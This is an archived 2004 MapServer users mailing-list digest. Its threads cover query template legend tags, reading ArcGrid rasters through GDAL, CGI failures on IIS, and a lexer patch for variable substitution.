De : Martin, Daniel A [mailto:Daniel.A.Martin at erac.com]
Envoy? : Tuesday, January 06, 2004 5:17 PM
? : Julien, Heryk
Cc : mapserver-users at lists.gis.umn.edu
Objet : RE: [Mapserver-users] Query template - Extract: Layer Class Name


Well, I'm not quite sure.  I don't know of a built-in variable.  I guess I
would want to know how your user reaches this query page.  If it is from a
link/submit from a prior page that DOES have a legend, I would pass the item
name as a custom variable.

For instance, I use a custom variable called "title" that I pass between
every map as a hidden element of the map form.  I can reference this
variable in my template simply as [title] because MapServer is smart enough
to pull it from the querystring.  I place it in my <title> tag in the
header, and output it on the template.

-Dan

> -----Original Message-----
> From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
> Sent: Tuesday, January 06, 2004 3:27 PM
> To: Martin, Daniel A
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: RE: [Mapserver-users] Query template - Extract: 
> Layer Class Name
> 
> 
> Daniel,
> Lets say I send this kind of query: 
> http://www.cgcq.rncan.gc.ca/cgi-bin/mapserver/mapserv.exe?
> map=d:\webcgcq\gasl_clf\mapserver\mapfiles\transect1.map&
> mode=query&
> layer=Transect1poly& 
> imgext=605652.980000+4900665.392862+864417.475000+5159507.282138&
> img.x=189&
> img.y=199&
> IMGSIZE=400%20400&
> 
> Since the mode is query, the result is the mapfile query 
> template with the feature identifications requested from the 
> shapefile dbf. However the legend tags are not interpreted!
> 
> Is there a way to retrieve the "layer class name" of the 
> object selected in the map so that I may insert it into the 
> query template response?
> 
> 
> Query template:
> 
> Code: [CODE]<br>
> Identifiant = [SP_OBJ_ID]<br>
> Dataset_ID = [DATASET_ID]
> 
> [leg_layer_html]
> [leg_layer_name]
> [/leg_layer_html]
> 
> [leg_class_html]
> [leg_class_name]
> [/leg_class_html]
> 
> 
> 
> 
> -----Message d'origine-----
> De : Martin, Daniel A [mailto:Daniel.A.Martin at erac.com]
> Envoy? : Friday, December 19, 2003 4:29 PM
> ? : Julien, Heryk; mapserver-users at lists.gis.umn.edu
> Objet : RE: [Mapserver-users] Query template - Extract: Layer 
> Class Name
> 
> 
> [leg_class_name]
> But it must be used within a [leg_class_html] block.
> 
> For example, my legend template is attached.  I think it is a 
> good example of how to effectively use an html template.  It 
> is designed to be used in your client within a td element, such as:
> 
> <table><TR><TD>[legend]</TD></TR></table>
> 
> -Dan
> 
> 
> > -----Original Message-----
> > From: mapserver-users-admin at lists.gis.umn.edu
> > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> > Julien, Heryk
> > Sent: Friday, December 19, 2003 2:29 PM
> > To: 'mapserver-users at lists.gis.umn.edu'
> > Subject: [Mapserver-users] Query template - Extract: Layer 
> Class Name
> > 
> > 
> > Hi to all,
> > With the object [cl]you can retrieve the current "layer name"
> > from your mapfile and output it into your query template 
> > (http://mapserver.gis.umn.edu/doc40/template-reference.html#qu
> ery). Is there a way to retrieve the "layer class name" of 
> the object selected in the map so that I may insert it into 
> the query template response?
> 
> Thanks
> ==========================================
> H?ryk
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 



From James.P.Buzbee at lmco.com  Wed Jan  7 07:56:28 2004
From: James.P.Buzbee at lmco.com (Jim Buzbee)
Date: Wed, 07 Jan 2004 08:56:28 -0700
Subject: [Mapserver-users] Clueless newbie question
In-Reply-To: <DB30EB86-40B1-11D8-ACF8-000A95D9DE04@where2getit.com>
References: <DB30EB86-40B1-11D8-ACF8-000A95D9DE04@where2getit.com>
Message-ID: <3FFC2C2C.5040001@lmco.com>

I've been working on a quick proof-of-concept using mapserver and don't 
understand the process of creating a map file for some data I acquired.

I went to http://seamless.usgs.gov/ , selected a region and downloaded a 
few large zip files that were identified as being in ArcGrid format. 
They extracted to something like :

14195927/METADATA.DBF
14195927/METADATA.PRJ
14195927/METADATA.SHP
14195927/METADATA.SHX
14195927/METADA~1.HTM
14195927/14195927/
14195927/14195927.AUX
14195927/14195927/DBLBND.ADF
14195927/14195927/HDR.ADF
14195927/14195927/PRJ.ADF
14195927/14195927/STA.ADF
14195927/14195927/W001001.ADF
14195927/14195927/W001001X.ADF
14195927/INFO/
14195927/INFO/ARC.DIR
14195927/INFO/ARC0000.DAT
14195927/INFO/ARC0000.NIT
14195927/INFO/ARC0001.DAT
14195927/INFO/ARC0001.NIT


Is there a tool available to convert this into something that mapserver 
can use?  Or is there a better place to get some data?  Or did I 
download the wrong thing?

I'm working mainly on a Solaris box, but if I need to, I can do the 
conversion under windows.  I have no commercial products available.

Thanks for any hints.

Jim Buzbee







From nicolas.fortin at ec.gc.ca  Wed Jan  7 07:56:24 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Wed, 7 Jan 2004 10:56:24 -0500
Subject: [Mapserver-users] Web server virtual directory and Mapserver
Message-ID: <B726AFE57BBE2F4BB06E838E8D9217C435106F@ecstefoy2.quebec.int.ec.gc.ca>

Hi list,

I have mapserver running perfectly on my workstation in the
C:\Inetpub\wwwroot\cgi-bin directory (Windows 2000 + IIS)

On the server, mapserv.exe is in D:\wwwroot\cgi-bin (a virtual directory)

If I try this URL
(http://theserver/cgi-bin/mapserv.exe?map=mapserver\map1.map) where map1.map
is in the C:\Inetpub\wwwroot\mapserver\ directory

While I run the page, I use filemon.exe to log file access.

Result on my workstation: 
-The map appear
-mapserver search the map1.map file in C:\Inetpub\wwwroot\mapserver\  (from
filemon.exe)
So mapserver search the map file relative to the web server root, good!

Result on the server:
-msLoadMap(): Unable to access file. (mapserver\map1.map) 
-mapserver search the map1.map file in D:\wwwroot\cgi-bin\mapserver\  (from
filemon.exe)
So mapserver search the map file relative to the directory where mapserv.exe
is ... Weird!

Why?
Will I have to put the complete path of the map file in the map= parameter??

Nicolas Fortin 
Math?maticien, Programmeur, Analyste de donn?es 
SMC-Qu?bec Hydrologie, Environnement Canada 
1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 
(418)648-2516 
nicolas.fortin at ec.gc.ca <mailto:nicolas.fortin at ec.gc.ca> 



From Christopher.Dimeo at maine.gov  Wed Jan  7 08:12:07 2004
From: Christopher.Dimeo at maine.gov (Dimeo, Christopher)
Date: Wed, 7 Jan 2004 11:12:07 -0500
Subject: [Mapserver-users] Benchmark Comparisons
Message-ID: <E2F19C4D4BE2CF4ABEFE1329CF56737C0363B0F9@dotaugexch.mdot.w2k.state.me.us>

Hi All-

Has anyone done any independent performance benchmarks comparing Mapserver
to other platforms?  Particularly with respect to ArcIMS, but very
interested in comparisons with other open source and proprietary platforms.
Are there any in the works? 

Thanks!

Chris D.

Operation: Spatial
A GIS Technical Resource
www.opspatial.com <www.opspatial.com> 




From wim.blanken at planet.nl  Wed Jan  7 08:09:47 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Wed, 07 Jan 2004 17:09:47 +0100
Subject: [Mapserver-users] mapserv 4.0 CGI misbehaving on IIS but working on Apache 2.0.48
Message-ID: <002901c3d538$ad7ad8e0$6400a8c0@BLANKEN>

This is a multi-part message in MIME format.

--Boundary_(ID_vemGPiu2QxnAkRDU5aug+w)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

Hello List,

Strange problem today,

I installed an application created using binary mapserver 4.0 (oracle/png) cgi-version on
a fresh install of windows 2000 server that had oracle 9 installed. 
The application tells me in clear english, the cgi had misbehaved and returned no headers.
I tested this before with the same application on another server and then there was no problem.
On the same machine there is also no problem with mapserv -v and it worked
OK on the same machine when I used Apache instead of IIS.
I also tried rebooting and copying all the dll's but no luck......
All the dll's are in place (apache can also find them so that should not be the problem).
Looked at the rights in IIS and for so far I can see all the rights are OK.

Has anybody a clue why this applic is running on apache but not on iis on the same server?

Sincerely

W. Blanken



--Boundary_(ID_vemGPiu2QxnAkRDU5aug+w)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<META content="MSHTML 5.50.4134.600" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV><FONT face=Arial size=2>Hello List,</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2>Strange problem today,</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2>I installed an application created using binary 
mapserver 4.0 (oracle/png) cgi-version on</FONT></DIV>
<DIV><FONT face=Arial size=2>a fresh install of windows 2000 server that had 
oracle 9 installed. </FONT></DIV>
<DIV><FONT face=Arial size=2>The application tells me in clear english, the cgi 
had misbehaved and returned no headers.</FONT></DIV>
<DIV><FONT face=Arial size=2>I tested this before with the same application on 
another server and then there was no problem.</FONT></DIV>
<DIV><FONT face=Arial size=2>On the same machine there is also no problem with 
mapserv -v and it worked</FONT></DIV>
<DIV><FONT face=Arial size=2>OK on the same machine when I used Apache instead 
of IIS.</FONT></DIV>
<DIV><FONT face=Arial size=2>I also tried rebooting and copying all the dll's 
but no luck......</FONT></DIV>
<DIV><FONT face=Arial size=2>All the dll's are in place (apache can also find 
them so that should not be the problem).</FONT></DIV>
<DIV><FONT face=Arial size=2>Looked at the rights in IIS and for so far I can 
see all the rights are OK.</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2>Has anybody a clue why this applic is running on 
apache but not on iis on the same server?</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2>Sincerely</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2>W. Blanken</FONT></DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV>
<DIV><FONT face=Arial size=2></FONT> </DIV></BODY></HTML>

--Boundary_(ID_vemGPiu2QxnAkRDU5aug+w)--


From morissette at dmsolutions.ca  Wed Jan  7 08:25:37 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Wed, 07 Jan 2004 11:25:37 -0500
Subject: [Mapserver-users] Clueless newbie question
In-Reply-To: <3FFC2C2C.5040001@lmco.com>
References: <DB30EB86-40B1-11D8-ACF8-000A95D9DE04@where2getit.com> <3FFC2C2C.5040001@lmco.com>
Message-ID: <3FFC3301.1060300@dmsolutions.ca>

Jim Buzbee wrote:
> 
> I've been working on a quick proof-of-concept using mapserver and don't 
> understand the process of creating a map file for some data I acquired.
> 
> I went to http://seamless.usgs.gov/ , selected a region and downloaded a 
> few large zip files that were identified as being in ArcGrid format. 
> They extracted to something like :
...
> 
> Is there a tool available to convert this into something that mapserver 
> can use?  Or is there a better place to get some data?  Or did I 
> download the wrong thing?
> 

Based on http://gdal.maptools.org/frmt_various.html#AIG , it seems that 
GDAL supports this format, so you could either use some of the GDAL 
utilities to convert the images to TIFF or another format, or compile 
your MapServer with GDAL support and then it should be to read the files 
directly without any conversion.

Daniel
-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From sgillies at frii.com  Wed Jan  7 08:27:22 2004
From: sgillies at frii.com (Sean Gillies)
Date: Wed, 7 Jan 2004 09:27:22 -0700
Subject: [Mapserver-users] Clueless newbie question
In-Reply-To: <3FFC2C2C.5040001@lmco.com>
References: <DB30EB86-40B1-11D8-ACF8-000A95D9DE04@where2getit.com> <3FFC2C2C.5040001@lmco.com>
Message-ID: <5EB9F720-412E-11D8-9622-000393B98B56@frii.com>

On Jan 7, 2004, at 8:56 AM, Jim Buzbee wrote:

>
> I've been working on a quick proof-of-concept using mapserver and 
> don't understand the process of creating a map file for some data I 
> acquired.
>
> I went to http://seamless.usgs.gov/ , selected a region and downloaded 
> a few large zip files that were identified as being in ArcGrid format. 
> They extracted to something like :
>
> 14195927/METADATA.DBF
> 14195927/METADATA.PRJ
> 14195927/METADATA.SHP
> 14195927/METADATA.SHX
> 14195927/METADA~1.HTM
> 14195927/14195927/
> 14195927/14195927.AUX
> 14195927/14195927/DBLBND.ADF
> 14195927/14195927/HDR.ADF
> 14195927/14195927/PRJ.ADF
> 14195927/14195927/STA.ADF
> 14195927/14195927/W001001.ADF
> 14195927/14195927/W001001X.ADF
> 14195927/INFO/
> 14195927/INFO/ARC.DIR
> 14195927/INFO/ARC0000.DAT
> 14195927/INFO/ARC0000.NIT
> 14195927/INFO/ARC0001.DAT
> 14195927/INFO/ARC0001.NIT
>
>
> Is there a tool available to convert this into something that 
> mapserver can use?  Or is there a better place to get some data?  Or 
> did I download the wrong thing?
>
> I'm working mainly on a Solaris box, but if I need to, I can do the 
> conversion under windows.  I have no commercial products available.
>
> Thanks for any hints.
>
> Jim Buzbee
>
>

Jim,

You will need the GDAL library to use rasters in MapServer.  GDAL will
read the ESRI ASCII raster, but if the data allows (is 8 or 24 bit),
get it from the USGS in TIFF format for better performance with
GDAL+MapServer.  If you are exploring the use of elevation rasters,
understand that MapServer does not support elevation as its own type
of data like other GIS systems.  You will need to convert your elevation
data into an 8 or 24 bit "picture" of terrain for use in MapServer.

See the Raster Howto under MapServer documentation for more details.

cheers,
Sean

--
Sean Gillies
sgillies at frii dot com
http://users.frii.com/sgillies



From Daniel.A.Martin at erac.com  Wed Jan  7 08:35:00 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Wed, 7 Jan 2004 10:35:00 -0600
Subject: [Mapserver-users] Query template - Extract: Layer Class Name
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A192CB8@STL-EXBE-I03.corp.erac.com>

The only way you can use the legend tags is within a legend template.  While you could do this in a query page, I think that's going to be quite difficult to achieve what you want.

The way I do it is that I have a separate query template for each layer, and the name is hard coded.  But I know this isn't going to work in many situations.

I'm sorry to say, I've thought about it, but I'm not coming up with any good answers.

-Dan



> -----Original Message-----
> From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca] 
> Sent: Wednesday, January 07, 2004 8:56 AM
> To: Martin, Daniel A
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: [Mapserver-users] Query template - Extract: Layer Class Name
> 
> 
> Hi,
> Here is the context. I've integrated Mapserver in Coldfusion 
> (Macromedia web
> server) and I'm using session variables to manage Mapserver requests.
> 
> For example when I query a feature on a map, a Mapserver 
> query or WMS query string is dynamically generated by 
> coldfusion (depending on source of the
> layer) and sent directly to the server giving the MapService. 
> In the present case a query is sent to Mapserver. Mapserver 
> receives the request and sends a query response in html using 
> the query template specified in the mapfile.
> 
> What i would like to do is include the features legend symbol 
> and description in the query response. This will permit me to 
> have a query response which will include the queried feature 
> shapefile dbf info and corresponding legend description 
> (legende image, layer name, class name...).
> 
> Users will be able to relate legend elements and query 
> features and make sure they have selected the desired featured.
> 
> I've tried integrating the following tags in the query 
> template without success. 
> 
> [map_layer_class_name]
> [map_layer_name]
> 
> [leg_layer_html]
> [leg_layer_name]
> [/leg_layer_html]
> 
> 
> [leg_class_html]
> [leg_class_name]
> [/leg_class_html]
> 
> They are not interpreted. The only tags interpreted are the 
> ones fetching information in my dbf.
> 
> Do you have other suggestions.
> 
> Thanks for the help.
> Heryk
> 
> 
> 
> 
> -----Message d'origine-----
> De : Martin, Daniel A [mailto:Daniel.A.Martin at erac.com]
> Envoy? : Tuesday, January 06, 2004 5:17 PM
> ? : Julien, Heryk
> Cc : mapserver-users at lists.gis.umn.edu
> Objet : RE: [Mapserver-users] Query template - Extract: Layer 
> Class Name
> 
> 
> Well, I'm not quite sure.  I don't know of a built-in 
> variable.  I guess I would want to know how your user reaches 
> this query page.  If it is from a link/submit from a prior 
> page that DOES have a legend, I would pass the item name as a 
> custom variable.
> 
> For instance, I use a custom variable called "title" that I 
> pass between every map as a hidden element of the map form.  
> I can reference this variable in my template simply as 
> [title] because MapServer is smart enough to pull it from the 
> querystring.  I place it in my <title> tag in the header, and 
> output it on the template.
> 
> -Dan
> 
> > -----Original Message-----
> > From: Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> > Sent: Tuesday, January 06, 2004 3:27 PM
> > To: Martin, Daniel A
> > Cc: mapserver-users at lists.gis.umn.edu
> > Subject: RE: [Mapserver-users] Query template - Extract: 
> > Layer Class Name
> > 
> > 
> > Daniel,
> > Lets say I send this kind of query:
> > http://www.cgcq.rncan.gc.ca/cgi-bin/mapserver/mapserv.exe?
> > map=d:\webcgcq\gasl_clf\mapserver\mapfiles\transect1.map&
> > mode=query&
> > layer=Transect1poly& 
> > imgext=605652.980000+4900665.392862+864417.475000+5159507.282138&
> > img.x=189&
> > img.y=199&
> > IMGSIZE=400%20400&
> > 
> > Since the mode is query, the result is the mapfile query
> > template with the feature identifications requested from the 
> > shapefile dbf. However the legend tags are not interpreted!
> > 
> > Is there a way to retrieve the "layer class name" of the
> > object selected in the map so that I may insert it into the 
> > query template response?
> > 
> > 
> > Query template:
> > 
> > Code: [CODE]<br>
> > Identifiant = [SP_OBJ_ID]<br>
> > Dataset_ID = [DATASET_ID]
> > 
> > [leg_layer_html]
> > [leg_layer_name]
> > [/leg_layer_html]
> > 
> > [leg_class_html]
> > [leg_class_name]
> > [/leg_class_html]
> > 
> > 
> > 
> > 
> > -----Message d'origine-----
> > De : Martin, Daniel A [mailto:Daniel.A.Martin at erac.com] Envoy? : 
> > Friday, December 19, 2003 4:29 PM ? : Julien, Heryk; 
> > mapserver-users at lists.gis.umn.edu Objet : RE: 
> [Mapserver-users] Query 
> > template - Extract: Layer Class Name
> > 
> > 
> > [leg_class_name]
> > But it must be used within a [leg_class_html] block.
> > 
> > For example, my legend template is attached.  I think it is a
> > good example of how to effectively use an html template.  It 
> > is designed to be used in your client within a td element, such as:
> > 
> > <table><TR><TD>[legend]</TD></TR></table>
> > 
> > -Dan
> > 
> > 
> > > -----Original Message-----
> > > From: mapserver-users-admin at lists.gis.umn.edu
> > > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of
> > > Julien, Heryk
> > > Sent: Friday, December 19, 2003 2:29 PM
> > > To: 'mapserver-users at lists.gis.umn.edu'
> > > Subject: [Mapserver-users] Query template - Extract: Layer 
> > Class Name
> > > 
> > > 
> > > Hi to all,
> > > With the object [cl]you can retrieve the current "layer 
> name" from 
> > > your mapfile and output it into your query template 
> > > (http://mapserver.gis.umn.edu/doc40/template-reference.html#qu
> > ery). Is there a way to retrieve the "layer class name" of
> > the object selected in the map so that I may insert it into 
> > the query template response?
> > 
> > Thanks
> > ==========================================
> > H?ryk
> > 
> > 
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> > 
> 



From warmerdam at pobox.com  Wed Jan  7 08:39:21 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Wed, 07 Jan 2004 11:39:21 -0500
Subject: [Mapserver-users] Clueless newbie question
In-Reply-To: <3FFC2C2C.5040001@lmco.com>
References: <DB30EB86-40B1-11D8-ACF8-000A95D9DE04@where2getit.com> <3FFC2C2C.5040001@lmco.com>
Message-ID: <3FFC3639.1030308@pobox.com>

Jim Buzbee wrote:
> 
> I've been working on a quick proof-of-concept using mapserver and don't 
> understand the process of creating a map file for some data I acquired.
> 
> I went to http://seamless.usgs.gov/ , selected a region and downloaded a 
> few large zip files that were identified as being in ArcGrid format. 
> They extracted to something like :
> 
> 14195927/METADATA.DBF
> 14195927/METADATA.PRJ
> 14195927/METADATA.SHP
> 14195927/METADATA.SHX
> 14195927/METADA~1.HTM
> 14195927/14195927/
> 14195927/14195927.AUX
> 14195927/14195927/DBLBND.ADF
> 14195927/14195927/HDR.ADF
> 14195927/14195927/PRJ.ADF
> 14195927/14195927/STA.ADF
> 14195927/14195927/W001001.ADF
> 14195927/14195927/W001001X.ADF
> 14195927/INFO/
> 14195927/INFO/ARC.DIR
> 14195927/INFO/ARC0000.DAT
> 14195927/INFO/ARC0000.NIT
> 14195927/INFO/ARC0001.DAT
> 14195927/INFO/ARC0001.NIT
> 
> 
> Is there a tool available to convert this into something that mapserver 
> can use?  Or is there a better place to get some data?  Or did I 
> download the wrong thing?
> 
> I'm working mainly on a Solaris box, but if I need to, I can do the 
> conversion under windows.  I have no commercial products available.

Jim,

This is an arc/info binary grid coverage.  You can use it directly
in MapServer if you have GDAL support built-in, or use GDAL to convert it
to other formats.

   http://www.remotesensing.org/gdal/frmt_various.html#AIG

Good luck,

-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From nicolas.fortin at ec.gc.ca  Wed Jan  7 08:39:12 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Wed, 7 Jan 2004 11:39:12 -0500
Subject: [Mapserver-users] mapserv 4.0 CGI misbehaving on IIS but wor
 king on Apache 2.0.48
Message-ID: <B726AFE57BBE2F4BB06E838E8D9217C4351070@ecstefoy2.quebec.int.ec.gc.ca>

Hi,

I already stumble on this problem.  It's probably a permission problem with
the IUSR_ user(Web Anonymus User).
You chould begin by giving IUSR_ access to the [ORA_HOME]/bin directory
(more specific to [ORA_HOME]\bin\OCI.dll)

If it's doesn't work, I'll try to find the docu I write on the problem.
You could also use filemon.exe from sysinternal to find the access problem
yourself and easily.

Hope this helps
Nick

-----Message d'origine-----
De : Wim Blanken (PI) [mailto:wim.blanken at planet.nl] 
Envoy? : Wednesday, January 07, 2004 11:10 AM
? : mapserver-users at lists.gis.umn.edu
Objet : [Mapserver-users] mapserv 4.0 CGI misbehaving on IIS but working on
Apache 2.0.48


Hello List,

Strange problem today,

I installed an application created using binary mapserver 4.0 (oracle/png)
cgi-version on
a fresh install of windows 2000 server that had oracle 9 installed. 
The application tells me in clear english, the cgi had misbehaved and
returned no headers.
I tested this before with the same application on another server and then
there was no problem.
On the same machine there is also no problem with mapserv -v and it worked
OK on the same machine when I used Apache instead of IIS.
I also tried rebooting and copying all the dll's but no luck......
All the dll's are in place (apache can also find them so that should not be
the problem).
Looked at the rights in IIS and for so far I can see all the rights are OK.

Has anybody a clue why this applic is running on apache but not on iis on
the same server?

Sincerely

W. Blanken



From steve.lime at dnr.state.mn.us  Wed Jan  7 09:17:41 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 07 Jan 2004 11:17:41 -0600
Subject: [Mapserver-users] Variable substitution 4.0.1
Message-ID: <sffbeaf7.087@co5.dnr.state.mn.us>

I made the change in the development version CVS. So this should be
fixed permanently in the new release. Thanks for the detective work!

Steve

>>> "Johansen Per Henrik" <phj at norgit.no> 1/7/2004 4:44:05 AM >>>
I have looked through the source again this morning and found what I
believe is the error/bug.
It seems that Mapserver gets an MS_STRING token instead of an IMAGE
token returned from the lexer, so I modified the  lexer and now
everything seem to work as I would expect. I have included the diff
below. I do not know if this would cause other errors to occur though,
but Mapserver seem to behave as expected after the change.

Per Henrik

diff mapserver-4.0.1/maplexer.l mapserver-4.0.1-perhenrik/maplexer.l
121c121
< <INITIAL>extent                                      {
return(EXTENT); }
---
> <INITIAL,OBJECT_STRING>extent                        {
return(EXTENT); }
138c138
< <INITIAL>image                                       { return(IMAGE);
}
---
> <INITIAL,OBJECT_STRING>image                         { return(IMAGE);
}


--
Interconsult NORGIT AS
Per Henrik Johansen
Systemutvikler/Systems developer
Tel: + 47 69 394805   Mob: + 47 950 71822
icq: 4975767
Web: http://www.norgit.no 


> -----Original Message-----
> From: Johansen Per Henrik 
> Sent: 6. januar 2004 21:49
> To: mapserver-users at lists.gis.umn.edu 
> Cc: Steve Lime
> Subject: RE: [Mapserver-users] Variable substitution 4.0.1
> 
> 
> Thanks for the reply.
> 
> But using map_reference_image does not seem to work either. I 
> have tried to look at the source code for 4.0.1 and to figure 
> out what happens. mapserv recognize that I pass it a map_ 
> variable through CGI, but everything seem to end in the 
> function loadReferenceMapString() in mapfile.c. The 
> switch(msyylex()) statement never seem to match any of the 
> cases (it triggers the default, to do nothing). The same 
> happens when I try to set map_reference_extent, the default 
> case is triggered.
> 
> Maybe I am missing something (it is late over here), I have 
> also peeked at how map_web_imagepath (loadWebString()) is 
> handled (which works btw), and I can not spot any major 
> differences at the moment.
> 
> Could this be a bug in the lexer/parser?
> 
> The function loadReferenceMap(), which is used to read from 
> the mapfile works though.
> 
> Per Henrik
> 
> > -----Original Message-----
> > From: Steve Lime [mailto:steve.lime at dnr.state.mn.us] 
> > Sent: 6. januar 2004 18:41
> > To: mapserver-users at lists.gis.umn.edu; Johansen Per Henrik
> > Subject: Re: [Mapserver-users] Variable substitution 4.0.1
> > 
> > 
> > Variable substitution is only available in a couple of 
> instances where
> > you might like to alter a portion of a parameter but not the whole
> > thing. This basically amounts to FILTERs and EXPRESSIONs and
> > CONNECTIONs. The other method you mention should be used instead.
I
> > suspect that what's happening is that the map file parser 
> > reads the file
> > first and then augments it using substitutions (as limited 
> > above) or via
> > the other method, and the string you've got for image is 
> > indeed illegal.
> > To fix?
> > 
> > 1) Don't use the substitution, use map_reference_image instead.
> > 2) Change your mapfile like so:
> > 
> > REFERENCE
> >         IMAGE "passed in via URL"
> >         ...
> > END
> > 
> > Steve
> > 
> > >>> "Johansen Per Henrik" <phj at norgit.no> 1/6/2004 10:05:11 AM >>>
> > Hi,
> > 
> > I am a bit puzzled with the variable substition features in 
> Mapserver.
> > It seems to work fine in some cases, like in the layer 
> > object, but when
> > I try to use this functionality in the reference object, I 
> > get a parser
> > error. getString(): Symbol definition error. Parsing error near
(%)
> > I use it like this to use a dynamically created reference image:
> > 
> > REFERENCE
> >         IMAGE %refimage%
> >         ...
> > END
> > 
> > I have also tried to overwrite the IMAGE value by referencing it
as
> > map_reference_image=... in the cgi call, but with the same result.

> > Am I right to suspect that the REFERENCE objectdoes not support
> > variable substitution and cgi referencing?
> > 
> > Regards,
> > 
> > Per Henrik
> > 
> > --
> > Interconsult NORGIT AS
> > Per Henrik Johansen
> > Systemutvikler/Systems developer
> > Tel: + 47 69 394805   Mob: + 47 950 71822
> > icq: 4975767
> > Web: http://www.norgit.no 
> > 
> > 
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu 
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
> > 
> 
> --
> Interconsult NORGIT AS
> Per Henrik Johansen
> Systemutvikler/Systems developer
> Tel: + 47 69 394805   Mob: + 47 950 71822
> icq: 4975767
> Web: http://www.norgit.no 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
> 

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From Daniel.A.Martin at erac.com  Wed Jan  7 08:59:14 2004
From: Daniel.A.Martin at erac.com (Martin, Daniel A)
Date: Wed, 7 Jan 2004 10:59:14 -0600
Subject: [Mapserver-users] mapserv 4.0 CGI misbehaving on IIS but working on Apache 2.0.48
Message-ID: <4ACBA1414DD9EE418CC250E4AAA9035A01C2E5CB@STL-EXBE-I03.corp.erac.com>

This usually means the dll library files are not available in the path.  The easiest solution is to copy all the dll files to C:\WINNT\System32, but anywhere in the path will do.

-Dan

> -----Original Message-----
> From: mapserver-users-admin at lists.gis.umn.edu 
> [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of 
> nicolas.fortin at ec.gc.ca
> Sent: Wednesday, January 07, 2004 10:39 AM
> To: wim.blanken at planet.nl; mapserver-users at lists.gis.umn.edu
> Subject: RE : [Mapserver-users] mapserv 4.0 CGI misbehaving 
> on IIS but working on Apache 2.0.48
> 
> 
> Hi,
> 
> I already stumble on this problem.  It's probably a 
> permission problem with the IUSR_ user(Web Anonymus User). 
> You chould begin by giving IUSR_ access to the [ORA_HOME]/bin 
> directory (more specific to [ORA_HOME]\bin\OCI.dll)
> 
> If it's doesn't work, I'll try to find the docu I write on 
> the problem. You could also use filemon.exe from sysinternal 
> to find the access problem yourself and easily.
> 
> Hope this helps
> Nick
> 
> -----Message d'origine-----
> De : Wim Blanken (PI) [mailto:wim.blanken at planet.nl] 
> Envoy? : Wednesday, January 07, 2004 11:10 AM
> ? : mapserver-users at lists.gis.umn.edu
> Objet : [Mapserver-users] mapserv 4.0 CGI misbehaving on IIS 
> but working on Apache 2.0.48
> 
> 
> Hello List,
> 
> Strange problem today,
> 
> I installed an application created using binary mapserver 4.0 
> (oracle/png) cgi-version on a fresh install of windows 2000 
> server that had oracle 9 installed. 
> The application tells me in clear english, the cgi had 
> misbehaved and returned no headers. I tested this before with 
> the same application on another server and then there was no 
> problem. On the same machine there is also no problem with 
> mapserv -v and it worked OK on the same machine when I used 
> Apache instead of IIS. I also tried rebooting and copying all 
> the dll's but no luck...... All the dll's are in place 
> (apache can also find them so that should not be the 
> problem). Looked at the rights in IIS and for so far I can 
> see all the rights are OK.
> 
> Has anybody a clue why this applic is running on apache but 
> not on iis on the same server?
> 
> Sincerely
> 
> W. Blanken
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users
> 



From steve.lime at dnr.state.mn.us  Wed Jan  7 09:51:07 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 07 Jan 2004 11:51:07 -0600
Subject: [Mapserver-users] ms4, mapxy
Message-ID: <sffbf2d9.083@co5.dnr.state.mn.us>

What does the query URL look like?

